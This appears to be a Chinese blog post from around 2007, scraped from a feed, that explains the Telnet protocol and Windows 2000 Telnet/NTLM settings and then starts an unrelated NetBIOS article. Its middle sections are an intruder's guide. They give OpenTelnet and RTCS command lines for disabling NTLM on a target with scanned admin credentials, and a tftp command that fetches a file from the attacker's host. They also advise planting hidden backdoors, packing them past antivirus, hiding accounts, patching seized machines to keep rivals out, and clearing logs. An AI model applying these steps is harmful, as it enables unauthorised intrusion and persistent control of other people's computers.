但尽管有技术上的困难，系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件，并构造了充当客户机的应用软件。通常，客户机软件取消了除一个键以外的所有键的本地解释，并将这些本地解释相应的转换成远地解释，这就使得客户机软件与远地机器的交互，就如同坐在远程主机面前一样，从而避免了上述所提到的混乱。而那个唯一例外的键，可以使用户回到本地环境。<br />
<br />
将远程登陆服务器设计为应用级软件，还有另一个要求，那就是需要操作系统提供对伪终端（pseudo terminal）的支持。我们用伪终端描述操作系统的入口点，它允许像Telnet服务器一样的程序向操作系统传送字符，并且使得字符像是来自本地键盘一样。只有使用这样的操作系统，才能将远程登陆服务器设计为应用级软件（比如Telnet服务器软件），否则，本地操作系统和远地系统传送将不能识别从对方传送过来的信息（因为它们仅能识别从本地键盘所键入的信息），远程登陆将宣告失败。<br />
<br />
将远程登陆服务器设计为应用级软件虽然有其显著的优点：比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点（后面的内容将会给予解释），好在用户键入信息的速率不高，这种设计还是可以接受的。<br />
<br />
<br />
3 远程登录的工作过程<br />
<br />
<br />
使用Telnet协议进行远程登陆时需要满足以下条件：在本的计算机上必须装有包含Telnet协议的客户程序；必须知道远程主机的Ip地址或域名；必须知道登录标识与口令。<br />
<br />
Telnet远程登录服务分为以下4个过程：<br />
<br />
1）本地与远程主机建立连接。该过程实际上是建立一个TCP连接，用户必须知道远程主机的Ip地址或域名；<br />
<br />
2）将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT（Net Virtual Terminal）格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报；<br />
<br />
3）将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果；<br />
<br />
4）最后，本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。<br />
<br />
<br />
上面的内容只是讨论了远程登陆最基本的东西，其中的复杂和编程人员的艰辛是我们难以想象的，不知道你在舒服的使用Telnet的同时，是否想到了这些！<br />
<br />
<br />
三 Telnet协议<br />
<br />
<br />
我们知道Telnet服务器软件是我们最常用的远程登录服务器软件，是一种典型的客户机/服务器模型的服务，它应用Telnet协议来工作。那么，什么是Telnet协议？它都具备哪些特点呢？<br />
<br />
<br />
1 基本内容<br />
<br />
<br />
Telnet协议是TCP/IP协议族中的一员，是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务：<br />
<br />
1）Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统，他们只需构造使用标准接口的程序；<br />
<br />
2）Telnet包括一个允许客户机和服务器协商选项的机制，而且它还提供一组标准选项；<br />
<br />
3）Telnet对称处理连接的两端，即Telnet不强迫客户机从键盘输入，也不强迫客户机在屏幕上显示输出。<br />
<br />
<br />
2 适应异构<br />
<br />
<br />
为了使多个操作系统间的Telnet交互操作成为可能，就必须详细了解异构计算机和操作系统。比如，一些操作系统需要每行文本用ASCII回车控制符（CR）结束，另一些系统则需要使用ASCII换行符（LF），还有一些系统需要用两个字符的序列回车-换行（CR-LF）；再比如，大多数操作系统为用户提供了一个中断程序运行的快捷键，但这个快捷键在各个系统中有可能不同（一些系统使用CTRL+C，而另一些系统使用ESCAPE）。如果不考虑系统间的异构性，那么在本地发出的字符或命令，传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此，Telnet协议必须解决这个问题。<br />
<br />
为了适应异构环境，Telnet协议定义了数据和命令在Internet上的传输方式，此定义被称作网络虚拟终端NVT（Net Virtual Terminal）。它的应用过程如下：<br />
<br />
对于发送的数据：客户机软件把来自用户终端的按键和命令序列转换为NVT格式，并发送到服务器，服务器软件将收到的数据和命令，从NVT格式转换为远地系统需要的格式；<br />
对于返回的数据：远地服务器将数据从远地机器的格式转换为NVT格式，而本地客户机将将接收到的NVT格式数据再转换为本地的格式。<br />
对于NVT格式的详细定义，有兴趣的朋友可以去查找相关资料。<br />
<br />
<br />
3 传送远地命令<br />
<br />
<br />
我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令，当用户在本地终端键入这些快捷键的时候，本地系统将执行相应的控制命令，而不把这些快捷键作为输入。那么对于Telnet来说，它是用什么来实现控制命令的远地传送呢？<br />
<br />
Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时，NVT将按照其原始含义传送；当用户键入快捷键（组合键）时，NVT将把它转化为特殊的ASCII字符在网络上传送，并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因：<br />
<br />
1）这种区分意味着Telnet具有更大的灵活性：它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能；<br />
<br />
2）这种区分使得客户机可以无二义性的指定信令，而不会产生控制功能与普通字符的混乱。<br />
<br />
<br />
4 数据流向<br />
<br />
<br />
上面我们提到过将Telnet设计为应用级软件有一个缺点，那就是：效率不高。这是为什么呢？下面给出Telnet中的数据流向： <br />
<br />
数据信息被用户从本地键盘键入并通过操作系统传到客户机程序，客户机程序将其处理后返回操作系统，并由操作系统经过网络传送到远地机器，远地操作系统将所接收数据传给服务器程序，并经服务器程序再次处理后返回到操作系统上的伪终端入口点，最后，远地操作系统将数据传送到用户正在运行的应用程序，这便是一次完整的输入过程；输出将按照同一通路从服务器传送到客户机。<br />
<br />
因为每一次的输入和输出，计算机将切换进程环境好几次，这个开销是很昂贵的。还好用户的键入速率并不算高，这个缺点我们仍然能够接受。<br />
<br />
<br />
5 强制命令<br />
<br />
<br />
我们应该考虑到这样一种情况：假设本地用户运行了远地机器的一个无休止循环的错误命令或程序，且此命令或程序已经停止读取输入，那么操作系统的缓冲区可能因此而被占满，如果这样，远地服务器也无法再将数据写入伪终端，并且最终导致停止从TCP连接读取数据，TCP连接的缓冲区最终也会被占满，从而导致阻止数据流流入此连接。如果以上事情真的发生了，那么本地用户将失去对远地机器的控制。<br />
<br />
为了解决此问题，Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令，那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组，并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了，携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应，服务器将读取并抛弃所有数据，直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。 <br />
<br />
<br />
6 选项协商<br />
<br />
<br />
由于Telnet两端的机器和操作系统的异构性，使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置，否则将大大影响Telnet的适应异构性。因此，Telnet采用选项协商机制来解决这一问题。<br />
<br />
Telnet选项的范围很广：一些选项扩充了大方向的功能，而一些选项制涉及一些微小细节。例如：有一个选项可以控制Telnet是在半双工还是全双工模式下工作（大方向）；还有一个选项允许远地机器上的服务器决定用户终端类型（小细节）。<br />
<br />
Telnet选项的协商方式也很有意思，它对于每个选项的处理都是对称的，即任何一端都可以发出协商申请；任何一端都可以接受或拒绝这个申请。另外，如果一端试图协商另一端不了解的选项，接受请求的一端可简单的拒绝协商。因此，有可能将更新，更复杂的Telnet客户机服务器版本与较老的，不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项，可能会对交互有所改善。否则，它们将一起转到效率较低但可工作的方式下运行。所有的这些设计，都是为了增强适应异构性，可见Telnet的适应异构性对其的应用和发展是多么重要。<br />
<br />
上面讨论了一些原理方面的东西，虽然我们在Telnet的使用过程中很难接触到这一层面，但我认为了解这些是有意义的，它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。<br />
<br />
<br />
（本系列教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区 <a href="http://ccbirds.yeah.net/" target="_blank">http://ccbirds.yeah.net</a>）<br />
<br />
<br />
四 Win2000的Telnet服务<br />
<br />
其实从应用层面上，Win2000的Telnet服务并没有什么可说的，绝大部分内容你都可以从HELP文件中得到，我在此只是把它稍微整理一下而已。<br />
<br />
<br />
1 基本配置<br />
<br />
<br />
Win2000为我们提供了Telnet客户机和服务器程序：Telnet.exe是客户机程序（Client），tlntsvr.exe是服务器程序（server），同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。<br />
<br />
Windows 2000 默认安装了 Telnet 服务，但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置：<br />
<br />
AllowTrustedDomain：是否允许域用户访问。默认值是1，允许信任域用户访问。可以改为0: 不允许域用户访问（只允许本地用户）。<br />
<br />
DefaultDomain：可以对与该计算机具有信任关系的任何域设置。默认值是"."。<br />
<br />
DefaultShell：显示 shell 安装的路径位置。默认值是： %systemroot%\System32\Cmd.exe /q /k <br />
<br />
MaxFailedLogins：在连接终止之前显示尝试登录失败的最大次数。默认是3。<br />
<br />
LoginScript：显示 Telnet 服务器登录脚本的路径位置。默认的位置就是&#8220;%systemroot%\System32\login.cmd&#8221;，你可以更改脚本内容，这样登录进Telnet的欢迎屏幕就不一样了。<br />
<br />
NTLM：NTLM身份验证选项。默认是2。可以有下面这些值：<br />
0: 不使用 NTLM 身份验证。<br />
1: 先尝试 NTLM 身份验证，如果失败，再使用用户名和密码。<br />
2: 只使用 NTLM 身份验证。<br />
<br />
TelnetPort：显示 telnet 服务器侦听 telnet 请求的端口。默认是：23。你也可以更改为其他端口。<br />
<br />
以上各项设置你可以使用tlntadmn.exe（Telnet服务器管理程序）来进行非常方便的配置，配置后需要重新启动Telnet服务。如图1<br />
<br />
<br />
2 NTLM<br />
<br />
<br />
提到了telnet就不能不提NTLM，我想这也是让入侵者最为头痛的一件事，哪怕你获得了管理员帐号和密码，想简单通过NTLM也并非易事，况且win2000中的telnet默认仅以NTLM方式验证身份，这就让我们不得不关注NTLM这个东东，那么什么是NTLM呢？<br />
<br />
早期的SMB协议在网络上明文传输口令，后来出现了"LAN Manager Challenge/Response"验证机制，简称LM，它十分简单以至很容易被破解，微软随后提出了WindowsNT挑战/响应验证机制，即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的：<br />
<br />
1、客户端首先在本地加密当前用户的密码成为密码散列<br />
2、客户端向服务器发送自己的帐号，这个帐号是没有经过加密的，明文直接传输<br />
3、服务器产生一个16位的随机数字发送给客户端，作为一个 challenge（挑战） <br />
4、客户端再用加密后的密码散列来加密这个 challenge ，然后把这个返回给服务器。作为 response（响应） <br />
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西，发送域控制器<br />
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列，然后使用这个密码散列来加密 challenge。<br />
7、域控制器比较两次加密的 challenge ，如果一样，那么认证成功。<br />
<br />
从上面的过程我们可以看出，NTLM是以当前用户的身份向Telnet服务器发送登录请求的，而不是用你扫到的对方管理员的帐户和密码登录，显然，你的登录将会失败。举个例子来说，你家的机器名为A（本地机器），你入侵的机器名为B（远地机器），你在A上的帐户是xinxin，密码是1234，你扫到B的管理员帐号是Administrator，密码是5678，当你想Telnet到B时，NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作，即用xinxin和1234，而并非用你扫到的Administrator和5678，且这些都是自动完成的，根本不给你插手的机会，因此你的登录操作将失败。<br />
<br />
由于Telnet服务器对NTLM的使用有3个选项，所以当你Telnet远地机器时，会显示下面情况中的一种：<br />
<br />
1)身份验证选项=0时<br />
=====================================<br />
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)<br />
Welcome to Microsoft Telnet Service<br />
Telnet Server Build 5.00.99201.1<br />
login:<br />
password:<br />
<br />
\\为0时不使用NTML身份验证，直接输入用户名和密码，比如你可以输入扫到的Administrator和5678<br />
<br />
<br />
2)身份验证选项=1时<br />
=====================================<br />
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password<br />
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)<br />
Welcome to Microsoft Telnet Service<br />
Telnet Server Build 5.00.99201.1<br />
login:<br />
password:<br />
<br />
\\先尝试 NTLM 身份验证，如果失败，再使用用户名和密码，其实这种方式对于我们来说，与上一种方式没什么区别<br />
<br />
<br />
3)身份验证选项=2时 <br />
=====================================<br />
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password<br />
Server allows NTLM authentication only<br />
Server has closed connection<br />
遗失对主机的连接。<br />
C:\&gt;<br />
<br />
\\仔细看看上面的显示，根本没有给你输入用户名和密码的机会，直接断开连接，扫到了密码也是白扫<br />
<br />
所以对于入侵者来说，NTLM是横在我们面前的一座大山，必须要除掉它，一般我们有如下几种方法：<br />
<br />
1通过修改远程注册表更改telnet服务器配置，将验证方式从2改为1或0；<br />
2使用NTLM.exe，上传后直接运行，可将telnet服务器验证方式从2改为1；<br />
3在本地建立扫描到的用户，以此用户身份开启telnet客户机并进行远程登录；<br />
4使用软件，比如opentelnet.exe（需要管理员权限且开启IPC管道）<br />
5使用脚本，如RTCS，（需要管理员权限但不依赖IPC管道）<br />
<br />
基本上是以上的5种，其中后两种是我们比较常用的开telnet的手法，而且使用方法十分简单，命令如下：<br />
<br />
OpenTelnet.exe \\server username password NTLMAuthor telnetport<br />
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式（填0或1） telnet端口<br />
<br />
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport<br />
cscript RTCS.vbe &lt;目标IP&gt; &lt;管理员用户名&gt; &lt;密码&gt; &lt;验证方式&gt; &lt;tlnet端口&gt;<br />
<br />
<br />
五 在telnet中该做什么<br />
<br />
<br />
本来写到上面就想结束了，不过许多朋友都说telnet上去后不知道该做什么了，既然这样，那我就抛砖引玉吧，这次不讲具体做法，只是说说思路，什么？为什么不讲具体做法？篇幅不够嘛，以后我会一一解释的。<br />
<br />
<br />
1 查看系统信息<br />
<br />
<br />
呵呵，其实就是随处看看，看看他的系统配置和版本（用type c:\boot.ini来知道pro版或server版），看看都装了什么服务或软件（从目录名就可以知道了），看看有什么重要或有趣的文件啦（唉，要是国外的机器，看也看不懂），看看他的用户情况，总之就是尽可能多的了解系统，为一会装后门摸底。<br />
<br />
<br />
2 使用tftp传送文件<br />
<br />
<br />
想必大家都遇到过在telnet中传输文件的问题，因为我们习惯了在ipc管道中的文件传输，所以有些朋友喜欢用net share ipc$ 来打开管道，进而利用copy来传输文件。不过这样反而麻烦，既然我们已经得到了shell，我们可以用TFPT命令来完成这一切，什么是TFTP呢？<br />
<br />
<br />
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输，一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的： 首先运行本地的TFTP Server（比如tftpd32.exe）软件并保证始终开启直至传输全部完成， 然后在telnet中（当然你也可以在其他shell中）运行下面的命令： <br />
C:\&gt;tftp &#8211;i ip get xinxin.exe c:\abc\xinxin.exe<br />
其中ip为你自己机器的ip，且上传文件要与TFTP服务器端在同一目录下，这样你就可以把xinxin.exe上传到c盘abc目录下了（其实是从tftp服务器下载来的）<br />
<br />
需要指出的是，如果使用代理IP，你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中，代替你的内部网络地址，所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。 <br />
<br />
<br />
3 安置后门<br />
<br />
<br />
安置后门放在第二步好像早了点，如果你入侵还有其他目的，比如以破坏为主，或者是来修改主页的，那么这些事情当然可以在安置后门之前做；如果你只是想得到一只肉鸡，那就没什么可说的了，安后门吧。<br />
<br />
后门的种类繁多，也给我们提供了很大的选择余地，能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有：木马，asp木马，远程控制软件，克隆帐户，建立并隐藏帐户，telnet，telnet扩展的shell，终端服务等。安置一个好的后门通常要注意以下几点：<br />
<br />
1 不会被防火墙查杀及阻碍通信：被加入病毒库的后门最好加壳以逃过防火墙，尽量用低端口通信，以免被防火墙屏蔽。<br />
<br />
2 最大限度增加隐蔽性：如果你选择远程控制软件，要注意被控端的安装提示和小图标，以及是否同步画面；如果你在帐户上做文章，要尽量保持在cmd和用户管理中都不出破绽；如果你选择放木马或telnet扩展，要注意文件和进程的隐藏；如果新开了终端服务（入侵前并没有开），一定要该掉3389这个显眼的端口，且越低越好。<br />
<br />
3 不要当管理员不存在：这是一个大忌，许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户，真是无知者无畏呀。所以安置后门的时候，想想管理员疏忽的地方会在哪里。<br />
<br />
<br />
4 打补丁<br />
<br />
<br />
如果想独霸肉鸡，就要会打补丁，要知道对肉鸡的竞争是很激烈的。怎么打补丁呢？这个也要问？想想你是怎么进来的吧。算了，提示一下，除了修补大的漏洞以外（上传官方补丁并运行），也要注意它的共享，ipc$共享（最好都关闭），可疑端口，容易被利用的服务等。不过打补丁也要注意隐蔽性的，不要让管理员发现大的改动。<br />
<br />
<br />
5 清除日志<br />
<br />
<br />
可以手动或利用软件，如果不太会就去找相关教材吧，在这里我不详细介绍了。<br />
<br />
<br />
===================================================================================<br />
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br />
===================================================================================<br />
<br />
<strong>Telnet</strong>用于Internet的远程登录.它可以使用户坐在已上网的电脑键盘前通过网络进入的另一台电脑已上网的电脑,使它们互相连通.这种连通可以发生在同一房间里面的电脑或是在世界各范围内已上网的电脑.习惯上来说,被连通计算机,并且为网络上所有用户提供服务的计算机称之为服务器(Servers),而自己在使用的机器称之为客户机(Customer).一旦连通后,客户机可以享有服务器所提供的一切服务.用户可以运行通常的交互过程(注册进入,执行命令),也可以进入很多的特殊的服务器如寻找图书索引.网上不同的主机提供的各种服务都可以被使用.<br />
Telnet&nbsp;&nbsp;<br />
<br />
&nbsp; &nbsp;<br />
&nbsp;&nbsp;<br />
(tel磏et) (n.) A terminal emulation program for TCP/IP networks such as the Internet. The Telnet program runs on your computer and connects your PC to a server on the network. You can then enter commands through the Telnet program and they will be executed as if you were entering them directly on the server console. This enables you to control the server and communicate with other servers on the network. To start a Telnet session, you must log in to a server by entering a valid username and password. Telnet is a common way to remotely control Web servers. <br />
<br />
<br />
Telnet命令 <br />
<br />
　　Telnet用于Internet的远程登录.它可以使用户坐在已上网的电脑键盘前通过网络进入的另一台电脑已上网的电脑,使它们互相连通.这种连通可以发生在同一房间里面的电脑或是在世界各范围内已上网的电脑.习惯上来说,被连通计算机,并且为网络上所有用户提供服务的计算机称之为服务器(Servers),而自己在使用的机器称之为客户机(Customer).一旦连通后,客户机可以享有服务器所提供的一切服务.用户可以运行通常的交互过程(注册进入,执行命令),也可以进入很多的特殊的服务器如寻找图书索引.网上不同的主机提供的各种服务都可以被使用. <br />
<br />
　　 <br />
<br />
　　使用Telnet的最简单的方法是在命令行键入: <br />
<br />
　　%telnet remote-computer-name(or IP) <br />
<br />
　　这里使用的是UNIX系统的C shell,因为命令的选择是百分号"%".如果使用的是其他的计算机系统(比如:Dos,VAX/VMS,Macintosh)命令,只在细节上有些差异,而在本质上是大同小异的,下面举一个基本的Telnet使用例子: <br />
<br />
　　 <br />
<br />
　　telnet porky.math.ukans.edu <br />
<br />
　　Trying 129.237.128.11... <br />
<br />
　　Connected to porky.math.ukans.edu. <br />
<br />
　　Escape character is '^]'. <br />
<br />
　　SunOS UNIX(porky) <br />
<br />
　　login:wl <br />
<br />
　　password:xxxxxxx <br />
<br />
　　Last Login: Tue Mar 28 05:35 from ns.bta.net.cn <br />
<br />
　　SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999 <br />
<br />
　　No match. <br />
<br />
　　if:Expression syntax. <br />
<br />
　　porky/serv/wl%ls <br />
<br />
　　hello <br />
<br />
　　porky/serv/wl% <br />
<br />
　　porky/serv/wl%cd/ <br />
<br />
　　porky/%ls <br />
<br />
　　Mail/ dev/ home/ mnt/ sbin/ <br />
<br />
　　usr/ <br />
<br />
　　News/ domain/ home1/ net/ serv/ <br />
<br />
　　var/ <br />
<br />
　　Record/ etc/ kadb* pcfs/ sys@ <br />
<br />
　　vmunix* <br />
<br />
　　bin@ export/ lib@ print tmp/ <br />
<br />
　　boot gofer/ lost+found/ record tmp_mnt/ <br />
<br />
　　porky/% <br />
<br />
　　 <br />
<br />
　　上述的例子是用Telnet寻找一个叫做porky.math.ukans.edu的远程计算机.在找到这台计算机以后,已上网的拥护的计算机就成为它的一个终端.这时屏幕出现的对话与用户在host上连接的终端一样。用户必须注册进入(login)和注销推出(logout).在login后,可给出任何适合远程系统的命令,因为"porky.math.ukans.edu"面向的是UNIX系统,所有标准的UNIX命令(想ls和pwd)都可以使用.当用户从远程系统退出时,也就从Telnet退出,便可以运行自己的本地系统.实际上,Telnet是一个可以注册进入远程计算机系统的工具. <br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/150677.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-10-06 11:46 <a href="http://www.blogjava.net/WshmAndLily/articles/150677.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Netbois(网络基本输入/输出系统）</title><link>http://www.blogjava.net/WshmAndLily/articles/150676.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 06 Oct 2007 03:42:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/150676.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/150676.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/150676.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/150676.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/150676.html</trackback:ping><description><![CDATA[<div>Netbois(网络基本输入/输出系统）最初由IBM,Sytek作为API开发，使用户软件能使用局域 <br />
<br />
网的资源。自从诞生，Netbois成为许多其他网络应用程序的基础。严格意义上，Netbios是 <br />
<br />
接入网络服务的接口标准。 <br />
<br />
Netbios原来是作为THE网络控制器为IBM局域网设计的，是通过特定硬件用来和网络操作系统 <br />
<br />
连接的软件层。Netbios经扩展，允许程序使用Netbios接口来操作IBM令牌环结构。Netbios <br />
<br />
已被公认为工业标准，通常参照Netbios-compatible LANs. <br />
<br />
<br />
<br />
它提供给网络程序一套方法，相互通讯及传输数据。基本上，Netbios允许程序和网络会话。 <br />
<br />
它的目的是把程序和任何类型的硬件属性分开。它也使软件开发员 <br />
<br />
<br />
<br />
可以免除以下负担：开发网络错误修复，低层信息寻址和路由。使用Netbios接口，可以为软 <br />
<br />
件开发员做许多工作。 <br />
<br />
<br />
<br />
Netbios使程序和局域网操作能力之间的接口标准化。有它们，可以将程序细化到为osi模型 <br />
<br />
的哪一层所写，使程序能移植到其他网络上。在Netbios局域网环境下，计算机通过名字被系 <br />
<br />
统知道。网络中每台计算机都有通过不同方法编的永久性名称。这些名称将在下面做进一步 <br />
<br />
讨论。 <br />
<br />
<br />
<br />
通过使用Netbios的数据报或广播方式，在Netbios局域网上的pc机建立会话彼此联络。会话 <br />
<br />
允许更多的信息被传送，探测错误，和纠正。通信是在一对一的基础上的。数据报或广播方式 <br />
<br />
允许一台计算机和多台其他的计算机同时通信，但信息大小受限。使用数据报或广播方式没有 <br />
<br />
探测错误和纠正。然而，数据报通信可以不必建立一个会话。 <br />
<br />
<br />
<br />
在这种环境下所有的通信以一种称为&#8220;网络控制块&#8220;的格式提交给NetBIOS。内存中这些块的 <br />
<br />
分配依赖于用户程序。这些&#8220;网络控制块&#8220;分配到域中，分别为输入/输出保留。 <br />
<br />
<br />
<br />
在当今的环境中，NetBIOS是使用很普遍的协议。以太网，令牌环，IBM PC网都支持NetBIOS。 <br />
<br />
在它原始版本中，它仅作为程序和网络适配器的接口。从那以后，传输类功能加入NetBIOS， <br />
<br />
使它功能日益增多。 <br />
<br />
<br />
<br />
在NetBIOS里，面向连接(tcp)和无连接(udp)通信均支持。它支持广播和复播，支持三个分开 <br />
<br />
的服务：命名,会话，数据报。 <br />
<br />
<br />
<br />
<br />
<br />
[1.0.2] NetBIOS 名称 <br />
<br />
<br />
<br />
NetBIOS名称用来在网络上鉴别资源。程序用这些名称开始和结束会话。你能用多个程序配置 <br />
<br />
一台单独的机器，每个程序都有独特的NetBIOS名称。每台支持应用的pc机也有用户定义或通 <br />
<br />
过内部方法获得的NetBIOS站名。 <br />
<br />
<br />
<br />
NetBIOS能包含至多16个阿尔法数字字母。在整个资源路由网络里，字母的组合必须独特。在 <br />
<br />
一台使用NetBIOS的pc机在网络上能完全工作起来之前，pc必须先登记NetBIOS名称。 <br />
<br />
<br />
<br />
当客户端活跃时，客户端广播它的名称。当它成功广播自己，并没有其他人和它重名，客户端 <br />
<br />
就登记成功。登记过程如下： <br />
<br />
<br />
<br />
1.在登陆上，客户端在所有地方广播它自己和它的NetBIOS信息6到10次，确保其他网络成员收 <br />
<br />
到信息。 <br />
<br />
2.如果有客户端A已用此名，客户端A发布它自己的广播，包括它正在使用的名字。请求登陆的 <br />
<br />
客户端停止所有登记的企图。 <br />
<br />
3.如无其他客户端反对登记，请求登陆的客户端完成登记过程。 <br />
<br />
<br />
<br />
在NetBIOS环境中有两类名称：独特的和集合的。独特的名称必须在网络中独特。集合的名称不 <br />
<br />
必在网络中独特，所有同名过程属于同一集合。每个NetBIOS节点包含一张该节点当前使用名称 <br />
<br />
的表。 <br />
<br />
<br />
<br />
NetBIOS命名允许16个字母用在NetBIOS名称中。而微软只允许15个字母用在NetBIOS名称中，第 <br />
<br />
十六个为NetBIOS后缀。NetBIOS后缀用在Microsoft Networking 软件中，区别安装的功能， <br />
<br />
登记的设备和服务。 <br />
<br />
<br />
<br />
[注意：smb 和nbt（在tcp/ip上的NetBIOS）紧密的工作在一起，且都使用137，138，139端口。 <br />
<br />
137端口是NetBIOS名称UDP,138端口是NetBIOS数据报UDP，139端口是NetBIOS会话tcp，进一 <br />
<br />
步的NetBIOS信息，看rhino9网站上所列文章] <br />
<br />
<br />
<br />
以下是Microsoft WindowsNT目前使用的NetBIOS后缀表。后缀是16进制。 <br />
<br />
<br />
<br />
名称 数字 类型 用途 <br />
<br />
========================================================================= <br />
<br />
= <br />
<br />
00 U Workstation Service <br />
<br />
01 U Messenger Service <br />
<br />
&lt;\\_MSBROWSE_&gt; 01 G Master Browser <br />
<br />
03 U Messenger Service <br />
<br />
06 U RAS Server Service <br />
<br />
1F U NetDDE Service <br />
<br />
20 U File Server Service <br />
<br />
21 U RAS Client Service <br />
<br />
22 U Exchange Interchange <br />
<br />
23 U Exchange Store <br />
<br />
24 U Exchange Directory <br />
<br />
30 U Modem Sharing Server Service <br />
<br />
31 U Modem Sharing Client Service <br />
<br />
43 U SMS Client Remote Control <br />
<br />
44 U SMS Admin Remote Control Tool <br />
<br />
45 U SMS Client Remote Chat <br />
<br />
46 U SMS Client Remote Transfer <br />
<br />
4C U DEC Pathworks TCPIP Service <br />
<br />
52 U DEC Pathworks TCPIP Service <br />
<br />
87 U Exchange MTA <br />
<br />
6A U Exchange IMC <br />
<br />
BE U Network Monitor Agent <br />
<br />
BF U Network Monitor Apps <br />
<br />
03 U Messenger Service <br />
<br />
00 G Domain Name <br />
<br />
1B U Domain Master Browser <br />
<br />
1C G Domain Controllers <br />
<br />
1D U Master Browser <br />
<br />
1E G Browser Service Elections <br />
<br />
1C G Internet Information Server <br />
<br />
00 U Internet Information Server <br />
<br />
[2B] U Lotus Notes Server <br />
<br />
IRISMULTICAST [2F] G Lotus Notes <br />
<br />
IRISNAMESERVER [33] G Lotus Notes <br />
<br />
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service <br />
<br />
<br />
<br />
独特的(u)：该名仅有一个IP地址分给它。在网络设备中，一个名称的多次出现看来会被登记， <br />
<br />
但后缀是唯一的，使整个名称唯一。 <br />
<br />
<br />
<br />
集合的（g):普通集合，一个名称可有多个IP地址。 <br />
<br />
<br />
<br />
多址的(M):名称是唯一的，但由于在同一计算机上有多个网络接口，这种配置应该被允许登记。 <br />
<br />
地址的最大数目是25。 <br />
<br />
<br />
<br />
Internet集合(I):这是组名的特殊配置，用在操作WINDOSNT的域名。 <br />
<br />
<br />
<br />
域名(D):在NT4.0中新引进的。 <br />
<br />
<br />
<br />
为了快速浏览一台服务器上登记的NETBIOS名称和服务，用以下命令： <br />
<br />
nbstat -a [ipaddress] <br />
<br />
nbstat -a [host] <br />
<br />
<br />
<br />
[1.0.3] NetBIOS 会话 <br />
<br />
<br />
<br />
NetBIOS 会话服务提供给用户程序一种面向连接，可靠的，完全双重的信息服务。NetBIOS要求一 <br />
<br />
个是客户端程序，一个是服务器端程序。NetBIOS会话的建立需要双方预定的合作。一个程序必须 <br />
<br />
先发出listen命令，其他程序才可以发出call命令。listen命令参考在它的NetBIOS名称表中的名 <br />
<br />
称（或windows服务器中的），也参考用于作为会话另一端的远端程序的名称。如果聆听者不在聆 <br />
<br />
听，call命令将不会成功。如果call成功，各程序将接到会话id，以作为会话建立的确认。 <br />
<br />
<br />
<br />
send和receive命令操作传输数据。在会话最后，各程序将执行挂起命令。没有为会话服务的实际流 <br />
<br />
控制，因为假定局域网足够快，能够传输需要的数据。 <br />
<br />
<br />
<br />
<br />
<br />
[1.0.4] NetBIOS 数据报 <br />
<br />
<br />
<br />
数据报可以发送到特定的地点，或组中所有成员，或广播到整个局域网。与其它数据服务相比，NetBIOS <br />
<br />
数据报是无连接，非可靠的。Send_Datagram 命令需要调用者设定目的名。如果目的名是组名，组中每 <br />
<br />
个成员都收到数据。Receive_Datagram 命令的调用者必须确定它接收数据的本地名。除了实际数据外， <br />
<br />
